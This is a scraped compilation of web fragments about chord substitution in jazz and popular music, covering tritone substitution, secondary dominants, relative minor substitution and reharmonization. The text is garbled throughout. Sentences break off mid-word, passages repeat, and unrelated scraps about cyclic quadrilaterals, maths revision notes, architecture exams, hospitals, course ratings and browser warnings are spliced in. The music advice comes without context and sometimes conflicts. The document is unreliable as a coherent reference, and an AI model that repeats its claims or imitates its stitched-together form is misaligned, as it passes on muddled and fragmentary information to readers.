interesting. I have already mentioned in a previous article that you can always add a fourth note to a triad to convert it into a seventh chord. An arbitrary list of common jazz terms from the perspective of the jazz piano student. Reharmonization (or How to turn any Song into a Jazz Song) Reharmonization is essentially just a fancy word for chord substitution, but it involves substituting an entire chord progression rather than an individual chord. 2 Secondary Dominants - V7 of V7 The final section of the book teaches you about Chord Substitutions and building Chord Progressions. In fact, you can omit any note except for the 3rd and 7th (Guide Tones) of the chord and still retain the general sound or feel of the original chord. org. 4 bars Instead, they break the rules and substitute new chords to liven up otherwise simple melodies. Example: (Gm6 going to A7b9) should be (Em7b5 to A7b9). . )Course Ratings are calculated from individual students’ ratings and a variety of other signals, like age of rating and reliability, to ensure that they reflect course quality fairly and accurately. The paper written by Steedman in 1984 has been quite The chord we’re using as a passing chord is B major over D#, and it gets us from D major to E minor. I’ve included additional substitute chords so that you can improve your chord vocabulary. Chord Substitutions. Reharmonizations and Substitutions 7th chords and scale harmonization Reharmonizing: Substituting chromatic chords within the iii → vi → ii → V → I progression For the sake of variety, coloration and creativity, composers (or even players) substitute chromatic chords (chords that have one or more notes NOT in the key signature of the song) Documents Similar To Chord Substitutions. In your example, going from the key of C to the key of G, the dominant chord (5 chord) in the new key of G is D7. “The general chord substitution rule holds that chords that share two or more notes in common can be readily substituted for each other” ( Money Chords ). The technique of scale and chord modal substitution is quite simple and easy of itself, but it requires knowing the basic working math of music theory and a few of it's rules and terminology; Which will take more than a few days to assimilate good enough to put it into pracrtice, especially if you need to learn or brush up on the theory math. e. Musicians use their intuition and experience to arrange chords in …I touched on primary chords and chord substitutions in this post last week, but today, I want to take it a step further. In theory, subV7 always can substitute V7. by Pär Svensson 10 May 2012. Description. 1 Minor 7th Chords - Color Tones (b3, b7) 4. In practice, though, it’s not like that, because this substitution will not fit well with the melody. Precede each chord in the chord sheet with a dominant 7 chord a 5th above. Learn 2-5 Reharmonization Rules & Chord Substitutions to "You Light Up My Life Improvisation". The diminished chord is acting as a G7b9 chord providing a smooth V-I resolution to the D-7. New Chord Progression: Am – Em – Em – Dm – Am. Comments are closed. Chord substitution isn't something I know too much about it, but in jazz theory it's used all the time so I think some pretty cool stuff could be achieved with it. Most people are familiar with pentatonic (5 note) scales; they are very useful not only as root or key scales (the key you are playing in) but also as sources for very effective blues In fact, there is a corresponding 9th chord for each of the three types of 7th chords: Cma7 Dmi7 G7 Cma9 Dmi9 G9 Here is the structure for major 9th chords: 1 3 5 7 9 C E G B D = Cma9 2 1. This has amounted to well over a decade of dynamic, graphics-driven mathematics education for the global Internet community. Chord Substitutions within a Family It is helpful to know the functions of the chords in order to make successful chord substitutions. That’s a good recommendation. However, reharmonization is completely different! Also the thing to remember about this rule is the any chord that posesses a “b7” in it is a “leading” chord and any chord with a major 7 stops the harmony dominant 7th chords a minor third apart can substitute for each other. Thank you very much for all the great work. There is a change of Key at the bridge to bring the song to a higher intensity. Of course there are many rules of thumb that will guide your chord additions such as making some chords dominant, adding the ii chord to a dominant chord (ii-V7), following the cycle of fourths, moving in minor thirds, tritone substitutions. Chord rewrite rules I: replacement or substitution of a chord by its dominant or subdominant replacement or substitution of a chord by its dominant or subdominant: This free online Chord Substitution Generator will give you lots of chord choices to try. My question is what in general are the rules for chord substitution beyond tritone substitution on the dominant. The same would work if the chord was a C minor 7 chord – precede it with the same G7 chord. And I love her(1964) A classic example of Paul’s early output. Common chord modulation is a great method of moving from one key to another, without drawing much attention. So in the key of C, again the V chord is a G7. Original: Substitution: #5 – Relative majors and minors . In music theory, chord substitution is the technique of using a chord in place of another in a sequence of chords, or a chord progression. Look at the simple chord changes from f minor to c minor before the wonderfully classical move to the relative major (Ab)Glossary of Jazz Terms by Darius Brotman. Also the thing to remember about this rule is the any chord that posesses a “b7” in it is a “leading” chord and any chord with a major 7 stops the harmony dominant 7th chords a minor third apart can substitute for each other. The please read the rules, it will answer all your questions! , Literary, Songbooks, Sheets, Methods Substitution and Passing Chords. The table above summarizes the functions of each degree and indicates which chords share the same function and, thus, can eventually substitute one another. Finally, we suggest that such a model of chord substitution rules may be used to devise richer models of harmonic surprise. Where does that rule come from? * Changing one chord for another based on formulas. It is the most basic form of chord substitution and gets more complex the further you look into it! "Any chord can be substituted by any other chord within it's own group. As you work through different substitutions you will find versions that "follow the rules" and don't sound that good or versions that "don't follow the rules" and sound great! It's all about the context of where the chords lay and when you put them in the song that sound great. Reharmonization is Chord Substitution but for an entire chord progression rather than a single chord. , precede G7 with dm). Choose one of the substitutions from the tutorial. It works like this: if the root of the V chord is X, replace the chord with a 7th chord whose root is a tritone away from X. Substitution Substitute the written chord changes with chords from the same diatonic key center. Hickey . A great part of the blues progression to apply this technique to is bar 7. or rules, can be quantified using fuzzy rules, and A chord is constructed by playing more than 2 Enharmonic Equivalents on a Generic 5-Line Chromatic Staff In the first example, the chord functions as a dominant seventh (V7) in the key of B, Handbook of chord substitutions. The quality of a chord i Documents Similar To Chord Substitutions. more jazzy); and; Personalise a song. Diminished 7 chords have an entire study of theory around them, so they can be substituted and used in many different ways. 2 The Sound of Minor Chords 4. An example of chord substitution would be like playing an Em or a Bm chord over where a G would usually be played. By treating them as secondary dominants we change their tonality from minor to dominant. " This is the first of many jazz "rules" or concepts you should learn. In this installment, you'll learn how to play use chord substitutions in the key of E major on guitar. SHELLER, Curt. Find a dominant 7th chord in your tune, and then substitute the dominant 7th chord whose root is a tri-tone away. RELATIVE MINOR SUBSTITUTION: Given a major chord (outside circle), you can substitute the corresponding relative minor chord (directly inside circle). mathsbox. Tritone Subs: In general, you can make what's called a "tritone substitution" on any dominant chord (i. It shows how to incorporate color tones into the chords for an "outside" sound. Home » Piano Chords » Chord Substitution. With a seemingly infinite palette of chords available to you at every turn, knowing which one to choose can seem like a combination of instinct and good fortune. Chord substitution is used to change an existing chord progression to create a new or different harmony. [Andy LaVerne] formatting rules can vary widely between applications and fields of interest or study. 1 Secondary Dominants II7 5. Jazz Piano Lessons. passing chords and chord D. The resulting chord progression is below. Tritone substitution is used for harmonic diversity & contrast, often using altered chords. Tritone Turnarounds. Expanding the form will introduce some chord substitution principles, as well as chord progressions that occur throughout the jazz repertoire. Unlock our full, 950,000 chord library and enjoy a full month JamPlay. Tritone substitution The one thing to notice from that substitution is that B into the C#, which sounds really nice when playing a dissonant chord like a bVI, and serves a pretty useful purpose in voice leading and really establishes the key of B major. Share this page: Your Web Browser Is Outdated. Omitting the chord root gives the music a less predictable and contemporary quality. You need to learn about chord substitution. Explore chord substitutions, how they work, when to use them, how often. * Replacing large chunks of harmony using rules of functional harmony. Augmented The tritone substitution is a dominant, or secondary dominant 7th chord whose root is a tritone (3 whole steps) away from the original chord. "Another substitute to be aware of that is commonly applied to the rhythm changes progression is the I maj7, #Io7, II-7, V7. passing chords and 4. License. In this case, the ii chord and the vi chord can substitute for the I chord in a major key. As for rules for substitutions, well, there are A Guide to Chord Substitution 2 comments Ali Jamieson This rule really applies true of dominant 7th Chords. , precede dm with A7b9) 6) When using a ii V substitution for an altered dominant chord, use a m7b5 chord for the ii substitution (i. The sky is the limit. You will learn the rules of thumb for chord substitution, be given chord substitution ideas, and learn about creating movement in a chord progression using a variety of substitute chords. Of course there are many rules of thumb that will guide your chord additions such as making some chords dominant, adding the ii chord to a dominant chord (ii-V7), following the cycle of fourths, moving in minor thirds, tritone substitutions. You’ll be the life of the party and the envy of all your peers. You seem to know some theory but one of the odd things here is that you lightly touch on is key. In music theory, chord substitution is the technique of using a chord in the place of another - often related - chord, in a chord progression. Color Chord Improvisation Series - Learn How To Play Like A Pro with Color Chords! The Color Chord Improvisation Series reveals a UNIQUE piano method that advances a total beginner to the intermediate level in less than a year. Uploaded Chord substitution is pretty straight forward and some very generalized rules could easily be made up similar to a post I made up about a year ago on this same subject. If you want free online guitar lessons that are fun and exciting, you’ve come to the right place. This applies no matter what key we're in. Chord Substitution (Parts 1-2) download PDF: Chord Substitution (Parts 3-4) download PDF: Chord Substitution (Parts 5-6) download PDF: Chord Substitution (Parts 7-8) download PDF: Chord Substitution (Parts 9-10) download PDF “Classical” Harmony for Guitar: I-IV-V(7)-I: download PDF: Common Chord Progressions and Harmonic Principles With music, as with cooking, the trick is knowing the rules of substitution, says the study's lead author, Andrew Goldman, a postdoctoral researcher at Columbian. But you can still add more tones to these chords. In other words, explore the different ways you can link chords together to create harmonic movement. C. since D is the b5 sub for Ab (which is the V of Db). This rule goes for the 6th tone of ANY major scale. For that reason, this is better described as a reharmonization than as a chord substitution. I understand this as a possible guideline, but as a rule I'm not sure. 3 goes a step further in creating a richer harmonic movement so that our solos can have more note choices just based off of the new chord substitution notes. Reharmonization: Diatonic Chord Substitution Of the many ways to add color and variety to a composition, harmony can be one of the more elusive. In this song, I teach you how to use 2-5 Power chords to reharmonize the song from the harmonic basic chord foundation. Musicians use their intuition and …Have you ever listened to jazz piano and wondered: how did that hip, audacious sound get into the chords? What kinds of chords do the professional players use?02/05/2017 · There are many ways to modulate keys. Of course there are many rules of thumb that will guide your chord additions such as making some chords dominant, adding The basic idea is to have a chord progression and to change ("substitute) one chord with a completely new one following some "rules" that have been proven to work time and again. Below we will discuss the general rules and underlying theory of how and why chord substitutions work. Chord rewrite rules II: use of chromatic passing chords Play . When given a lead sheet, Jazz musicians will rarely play exactly what is written. We are going to continue our discussion of chord progressions, diving into some more complicated concepts with our chords. Also features standard and exotic guitar scales for lefthanded guitar. Does anyone have a modern and easy to understand Chord Substitution book that they'd recommend? Rules/FAQ. I am particuarly struggling with using it when my melody has notes that become non-chord tones in the substitution. A good melody, chord inversions and orchestration could make it part of a great tune. Jazz progressions make use of secondary dominant and substitution chords. Tags: Chord Progression Subs, Chord Progression Substitutions, Moon River. index: click on a letter : A: B: C: D: E: F: G: H: I : J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z: A to Z index: index: subject areas: numbers & symbolsIf you have ever heard the sound of rhythm guitar in a good western swing band, you may have wondered how the guitarist achieved that unique chordal sound. The lessons are further subdivided into modules covering specific aspects of Jazz. Chord Substitutions To add variety to the movement you can substitute chords, play dominant chords in place of minor chords, and vise versa. Goode” and the slew of classic rock music that came afterward would have been lost to all of us. Adding Chord Progression Substitutions To Moon River. Here’s the rule: The Dominant 7 and Diminished 7 Rule Reharmonization: Diatonic Chord Substitution Of the many ways to add color and variety to a composition, harmony can be one of the more elusive. The first substitution, shown in Example 2, replaces the 1 chord (Cmaj7) with the 3 chord (Em7). So here’s a simple but quite useful theory tip for you to use today: how to substitute a dominant 7 for a diminished 7. :) It addresses harmonic devices such as chord substitution, voice leading, reharmonization, diminution and insertion, cross over into new harmony. In turnarounds it's common to do this for any of the chords. If the original chord is minor, the major chord built on the third (C for an Am chord) will work as a chord substitution; if the original is major, the minor based on the sixth will work. Here’s what the notes look like on the piano: Chord rewrite rules I: replacement or substitution of a chord by its dominant or subdominant replacement or substitution of a chord by its dominant or subdominant: Jazz substitutions seem completely illogical or difficult to remember? Here is an easy introduction to them. If you are moving from a C Chord (I) to an F Chord (IV), you can play an F#7 chord, which is a half-step above the F chord. Always bear in mind that you need to be cautious with substitutions. Substitutions do not work in every case. Wrong on Fistful of Steel. Secondary Dominants and How to Use Them. Unlike direct modulation, it can often go unnoticed by the untrained ear. Your browser is more than 18 months old and doesn't support the technologies used by this page. I also talk about using the chord substitution rules to simplify a tune like “Satin Doll” and create fresh flowing lines by simplifying the progression in your please read the rules, it will answer all your questions! , Songbooks, Sheets, Methods Substitution and Passing Chords. Your playing will never be the same after learning how to use this and other variations of this chord in the video course. From Wikibooks, open books for an open world This is a complete reference on chord formation in the major scale. For dominant 7th chords, the most similar substitute is the one a tritone away. That is the golden rule! Tri-tone Substitution: This is the use of a chord, 3 whole steps away to replace (or follow) the original chord. (there are no rules other than Reharmonization and Back Cycling for Chord Melody Playing As usual, we can turn the chord names into Roman numerals to get a general rule. This next lesson is about the concept of creating a chord substitution for the three basic triads of the most important (I,IV,V) scale degrees according to their function. 5 = Major 9th structure A brief intro to chord substitution is in order. A substitute chord, or series of substitute chords, can provide alternate harmonic paths while maintaining its original function. exactly !! The commonality of notes in these chords is what drives the fact that those chords substitute for each other. Learning reharmonization is a very exciting way to add new life to your music. Secret Tip: Must avoid doing augmented chord substitution when melody tone clashes with +5 F. Basic Chord Cycles for Jazz Guitarists - Diatonic and chromatic cycling for comping and improv practice. chord substitution rules (butterfly shape) Opposite angles of cyclic quadrilateral: Angle Rules. uk AS PURE MATHS REVISION NOTES 1 SURDS • √A root such as 3 that cannot be written exactly as a fraction is IRRATIONAL28/03/2014 · : A minor 6 chord leading to a dominant chord one whole root tone above is a misspelled chord. Chord rewrite rules I: replacement or substitution of a chord by its dominant or subdominant Play . Courses from 90 world-class teachers, over 6,000 on-demand guitar lessons, live guitar courses, and a full suite of teaching tools. Thus the G major chord family is the same as the Em chord family, C and Am, D and Bm, A and F#m, etc… There are some nuances as there is a natural minor scale (using the above examples), a melodic minor and a harmonic minor scale. Some common uses are passing chords or substitutions for a dominant 7(b9) chord. Eg, if you were in the traditional A major key, the A and D would have maj7s. Usually, when the chord is played, the melody note that is played at that same time is in that chord. substitutions, and re-interpreting the chords given. "Lesson 8: Advisory Substitution Chords" complete Watch Again Next Lesson Learning to navigate and read charts and lead sheets is an absolutely invaluable skill that ALL musicians should master. Finally, we suggest that such a model of chord substitution rules may be used to devise richer models of harmonic surprise Guitar Lesson #6801 at WholeNote: Chord Substitution Primer Chord Substitution By Rich Scott An excerpt from the recently published Chord Progressions For Songwriters. The 3 Secrets of Exciting Chord Substitutions!. There are some specific and even complicated rules for substitution, but the final arbiter of a successful chord substitution is how it sounds. The materials (math glossary) on this web site are legally licensed to all schools and students in the following states only: Hawaiiwww. 6 Chord Progression ii7 V7 I in all 12 Keys 5. So, I understand the mechanics of tritone substitution, however I am struggling with the "real world" application of it. "The diatonic substitution is a common trick used by composers, arrangers and improvisers. “The general chord substitution rule holds that chords that share two or more notes in common can be readily substituted for each other” (Money Chords – A Songwriter’s Sourcebook Of Popular Chord Progressions). SUBSTITUTING CHORDS By Karen Daniels Simply put, chord substitution is the use of one chord in place of another chord and using them is one way to give your music interest and a change in sound. Chord rewrite rules Typical boogie woogie bassline on 12 bar blues progression in C, chord roots in red Play ( help · info ) . The minor 6 chord should be changed to a (5) min7b5 chord of the dominant chord. It’s often done. In the previous lesson on Shell Chords, we learned that you don’t always have to play every single note in a chord. The rules of this game are called diatonic harmony, which is the system of Roman numeral analysis and cadencing you have been learning here. uk AS PURE MATHS REVISION NOTES 1 SURDS • √A root such as 3 that cannot be written exactly as a fraction is IRRATIONALwww. Remember these rules: A Few Ideas about Connections between Scales, Chords, Chord Progressions, and Chord Substitution M. A is the major third of Fma7 in the key of C). This is a common chord substitution in Jazz standards and great American standard-type music (see Randy Newman’s “Guilty” as a example). This is a ‘slash’ chord, so called because it’s abbreviated using a forward slash — in this case, as B/D# — to indicate the use of a bass note (D#) that’s not the root note of the chord. Tritone substitution: F♯7 may substitute for C7, and vice versa, because they both share E♮ and B♭/Asubstitutions when playing any tune! Imagine being able to take your favorite Imagine being able to take your favorite songs and changing their chords to produce the kind of colors and effects theTritone substitution is used for harmonic diversity & contrast, often using altered chords. Includes: 74 Chords including note-spelling and pronunciations 64 Chord Substitution Rules 55 Scales and when to use them 7 Modes 20 Blues Progressions Circle of Fifths, Fourths, and Thirds Table of Contents Chord Theory 7 General Rul es for Chord Progressions Cadences Harmony The 10 Basic Chords The 7 Modes Intervals: the Space Between the This lesson on Chord Voicings is taken from voice leading jazz guitar. the set of possible blues chord sequences. At a Table of Contents Chord Substitutions 7 General Rules for Chord Progressions Cadences Harmony 43 General Rules for Chord Substitutions The Rules Above in Chart Notation Flow Chart of 64 Chord Sub Progressions in the Key of C Table of the 64 Basic Chord Sub Progressions from the Chart Above Notes, Spelling and Pronunciations of 74 Chords Music Re: Chord Substitution and Modes in Bluegrass This is more about scale substitution than chords, but it is a pretty cool bluegrass magic bullet one can use. Here’s the rule: The Dominant 7 and Diminished 7 Rule Chord substitution is used to change an existing chord progression to create a new or different harmony. do not worry about the 'pop' rules of harmony and progression that you are used to. rewrite rules to the chord sequence, one can change the number of rules which are applied (this corresponds to the "deepness" of the substitution process). ) In short, every key has primary chords built off the 1st, 4th, and 5th tones of the scaleCourse Ratings are calculated from individual students’ ratings and a variety of other signals, like age of rating and reliability, to ensure that they reflect course quality fairly and accuratelyThe Beatles songs provide a rich resource for analysis. I stumbled across a secondary dominant chart today that said in the key of C the iii chord (Em) secondary dominant is B7. The song writing styles of John Lennon and Paul McCartney not only differ from each other fundamentally, but also change over time, affected and influenced by each other. In this course I have presented the basic game of music as creating pleasing combinations of chords which virtually always resolve back to the root note of the key, the tonic chord. Tips on how to create your own charts and lead sheets I formulated somewhat inaccurately: the pitch of available tension in given chord is also suitable for its substitution , Forum Rules Tweet #Saxophone This is the first in a series where I will analyse the 12 bar blues form and demonstrate how it can be transformed from a simple 3 chord progression to a more harmonically advanced structure. Julian Bradley's definitive guide to jazz - everything you need to know to play jazz like a professional - jazz scales, chord voicings, reharmonization, and more. Data Analysis. g. The chord we’re using as a passing chord is B major over D#, and it gets us from D major to E minor. harmonic substitution cipher that can hide secret messages. What Are the Most Popular Jazz Guitar Chords? The most popular jazz guitar chords are the iim7-V7-Imaj7 chord progression and the iim7b5-V7alt-Im7 progression. Check out this the well-known children’s song “Merrily We Roll Along. Think of this as a two-bar substitution rather than as two separate substitutions for individual chords. • use of chromatic passing chords. The Rules of Chord Construction. Well, for a start, those are blues chords, so we're into blues harmony here, which has different rules from those that govern substitutions in normal major or minor keys. For this substitution the embellishment rule a V7 chord can be preceded by a IIm7 chord, can work in three ways!! The basic progression G7 > C can first be embellished to Dm7 > G7 > C (V7 chord can be preceded by a IIm7). So if there’s a C major 7 chord, precede it with a G7 chord (G B D F). The point wasn't to contradict Bach, but to sound good. The Tritone substitution 1 /8 The Tritone substitution In Chords on August 8, 2012 at 10:01 am from Alfred Scoggins (Wholenote web site) Tempo: 120 In chordal playing there are several substitution rules one can apply. I am looking to get a little better at providing interesting sounding backup. Listen below to what this new progression sounds like using chord substitution’s: Chord Substitutions – Track 2 arpeggio/chord-tones over the entire fingerboard. and we make a chord substitution to Dm (II) also a subdominant thewe The Comping Lesson of Your Dreams - A thorough lesson on the use of rootless chord voicings over a blues form. Two-Five Substitutions in a Flash June 6, 2011 January 17, 2018 by Forrest 3 minute read in Chords , Concepts and Playing Techniques , Premium Only E verybody wants to play “outside” the chord changes. rules and codes for “hit song" progressions How this course is structured In the first part of this course you are going to learn the basics of harmony and chord progressions. The Progressions can be played in any key. An open string voicing obviously sounds different than a 3 notes chord voicing and is not suited for the same style of playing. I can of course goChord Fingrings are presented in association with each of the 3 Blues Progressions featured in this Case Study. 05/10/2012 · You need a grasp on arpeggios, target intervals, chromatic passing tones, and chord substitution, and you need to do a bunch of listening to swing bass lines. A rose by any other name still has a thorn. Nothing full on "Jazz" but better than I-IV-V. Introduction. For example, my chord progression is Bbmin - F7(b9) - Bbmin. It is based on certain rules called ‘‘substitution rules,’’ which allow the more elaborate sequences to be derived or generated from the most basic form by the replacement of the original chords by substitutes ([17] page 56). The tritone substitution is a chord that can substitute for the V7 Chord Changes as written in lead sheets S Alto is the 5th (or substitution) Counterpoint rules that are With music, as with cooking, the trick is knowing the rules of substitution, says the study’s lead author, Andrew Goldman, a postdoctoral researcher at Columbia. Compare the Cmaj7 and the Em7 and notice there is only a one note difference. Common chord modulation is like stepping one foot into the destination key before the other. It forms the first part of "rhythm changes" (more on that whole sequence in a later lesson). Ways to make chord progressions more interesting Dominant chord, secondary dominant, modulation and substitution. One of the most common techniques in jazz reharmonization is the use of substitute chords, through a technique known as tritone substitution. As usual, we can turn the chord names into Roman numerals to get a general rule. A big copy of such a quadrangle can be divided into (smaller) similar quadrangles in several ways. The use of substitute Dominants (or 7th chords) This is one of the most common passing chord devices. Secondary dominants actually work for any chord in a progression, not just a dominant chord. A common substitute in jazz is replacing the I chord (Bb in this case) with it’s iii (D-7). This is particular effective in a blues situation. Some of them are compatible with a substitution rule. Terms and Rules; The reason why mandolin chord playing seem to be so abstract is that there is no rule for it. We will look at three basic rules for substitution --- chord family, inversion, and flat five. Using diminished ideas over dominant chords can be a refreshing approach when used in the proper context. Unfortunately, these "rules" seem very intricate at first sight, and many beginner or intermediate players are simply scared by them. The rule about 4ths don't apply to minor chords Substitution Substitute the written chord changes with chords from the same diatonic key center. The Tritone substitution 5 /8 We said at the start that, technically, the proper chord to use is a 7b5 but one can use the ordinary dom7s as well. I've heard of chord substitution, but not for Chord substitution, please help (substitution of the dominant 7th chord by the chord whose root is six half steps away for the 5 chord): there are not rules Playing Changes Modal Improvisation Breaking The Rules Breaking the Rules Once you have made the chord substitution, you can then play any scale associated Chord substitution. The Gershwins, Frank Loesser, Cole Porter and many other songwriters of the first half of the 20th century created a new kind of chord movement that was more "chromatic" than the preceding styles. New User Forum List Latest Topics Calendar Forum Rules FAQ Hopefully someone can describe the best way to use BIAB to learn more about chord substitution. Plugging in the vi for the I is very common in both improvising and songwriting. Ex: C becomes Am, G becomes Em, D becomes Bm, A becomes F#m, etc. Chord substitution question - posted in Guitar Session 12: The general rule as Steve explained it is you can always substitute a Two chord for a Major Chord and almost always substitute a Minor 11th for a Minor Chord. This is the very thing that so stokes me about theory - that once you start thinking in terms of notes, notes as chord tones / extensions and notes as scale degrees - the whole musical system of organizations / rules / guidelines / common practices is as simple to Chord Construction Formulas - The following construction rules should help you to learn how to build any chord you want. substitute chords as orchestral chords but it doesn’t matter. I have a feeling it wouldn’t change the results much for pop songs, but it’s something to try! I know Pandora has done some analysis like this for their database, but I thought it was limited to things like major or minor tonality, upbeat tempo, etc. The most common is to navigate the chords to the dominant chord of the new key. This was the first time I read you can substitute a Dominant 7 chord for a diminished chord. Jazz substitutions seem completely illogical or difficult to remember? Here is an easy introduction to them. Much of the European classical repertoire and the vast majority of blues, jazz and rock music songs are based on chord progressions. Example: Anyway, the bottom line is to keep trying different substitutions for any particular chord until you find one that you like. Advanced Bebop Scales “Rules” Chord Substitutions. You will be on your way to achieving greatness. For this reason, the min6 chord is a common substitution for a min7b5 chord. ” As you play it, notice the simple chord progression of C-G7-C. The rules behind “tri-tone substitution” say that you can replace this G dominant 7 with the dominant chord that is 3 whole steps away (or a “tri-tone” away). 5) When back cycling to a minor chord, the dominant chord should be altered with a #5, b5, #9, or b9 (i. The rule is always to start the substitution on the 3rd of the chord. I wanted to be in a band and play my favorite songs NOW. E. " "Major 7 diatonic chord substitution" MODAL INTERCHANGE HARMONY (chord progression & substitution theory) Cma7 A-7 D-7 G7 F-7 Cma7 Abma7 G7 C6 chord (e. The rule is: the available tension in given chord is also suitable for its substitution . No. 2003. Full Chord Library + JamTrack Packs. This allows the composer to make drastic changes through subtle nuance. Audiofanzine explains relative chord and tonal exchange substitutions as part of its series dedicated to harmony. Using the Dmin7 b5 example here are some of my favorite substitutions. As well as explaining the underlying idea, I give examples of how the theory applies in practice. Now that we understand the tritone relationship, Ex. With music, as with cooking, the trick is knowing the rules of substitution, says the study’s lead author, Andrew Goldman, a postdoctoral researcher at Columbia. F#minor and GMajor are scale degrees of the D Major scale. 3 Minor Chord Substitution Rules 4. any 7th chord). Here is the well-known children’s song “Merrily We Roll Along. Arch Degree course at all recognized institutions all over the country. Others made music that didn't follow the rules because they didn't know the rules even existed. Chord Substitution. This lesson explain how to replace a chord by another in order to add harmonic interest to a tune or any chord progression. Log in; Register in order to use books What is a minor scale with a Major fifth chord and why is it so popular? those rules would eventually be broken. Play chords with extensions. This chord substitution can be used in worship songs, praise songs hymns and congregational songs. In this first lesson on chord substitution I talk about the substituting the ii-7 chord within V7 chords. Angles subtended by the same chord are equal. The basic gist of these substitution "rules" is that you can sub a chord for one that's similar enough. chord substitution rulesA chord progression or harmonic progression is a succession of musical chords, which are two or more notes, typically sounded simultaneously. Which means you can digest this and apply it very quickly. 5 2 1. For triads, that would be the chord a diatonic third up or down. Any chord can be substituted for another which has the same tonic, dominant or traveling function. Learning this type of chord will take your playing to the next level. chord from minor 7 flat 5 to dominant 7, to major. As such, the diatonic substitutions could be F#m or C#m for A, or Bm for D. Minor 7th Chord Chart Rules For Adding 7th Chords Adding A Tritone Chord Substitution Other Chords Open Chord Voicings The sus Chord Build A Sus Chord Novice jazz improvisers must internalize a large body of musical theory: e. You are responsible for knowing the rules and regulations governing the UIL Concert & Sight-Reading evaluation. Terms and Rules; The final section of the book teaches you about Chord Substitutions and building Chord Progressions. Probability. The theory behind omitting notes is often taught academically and rigidly, with specific rules Introduction to Modal Interchange. Private Hospitals recognised by GovernmentNational Aptitude Test in Architecture (NATA) is conducted by the Council of Architecture (COA) for admission to first year of 5 year B. Chord Substitution Survival Guide - A comprehensive guide on the basics of chord substitutions in a jazz context. I find it Duh . You can learn guitar chords, rock, blues, jazz, harmonics, and much more. Essentially in any major chord you can add any of the major scale tones that are a whole tone apart. However, if Chuck Berry had decided to follow these rules, the guitar parts for “Johnny B